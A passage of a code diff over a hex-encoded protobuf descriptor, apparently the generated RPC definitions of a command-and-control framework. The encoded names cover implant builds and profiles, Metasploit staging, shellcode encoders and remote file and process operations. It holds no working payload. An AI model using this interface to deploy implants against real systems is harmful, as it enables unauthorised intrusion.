0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, 0x47, 0x65, 0x6e, 0x65, - 0x72, 0x61, 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x39, 0x0a, - 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x49, - 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x6e, - 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, + 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, + 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, 0x65, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, - 0x37, 0x0a, 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, - 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, - 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, - 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, - 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, - 0x46, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, + 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, + 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, + 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x37, 0x0a, + 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, + 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, + 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, + 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x46, 0x0a, + 0x15, 0x47, 0x65, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, - 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, - 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, - 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, - 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, - 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, - 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, - 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, - 0x0d, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, - 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, - 0x49, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, - 0x6e, 0x67, 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, - 0x6e, 0x67, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, - 0x6e, 0x67, 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, - 0x6e, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, - 0x65, 0x12, 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, - 0x74, 0x61, 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, - 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, - 0x4c, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, - 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, - 0x73, 0x12, 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, - 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, - 0x23, 0x0a, 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x4d, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, - 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, - 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, - 0x0a, 0x05, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, - 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, - 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, - 0x6f, 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, - 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, - 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, - 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, - 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 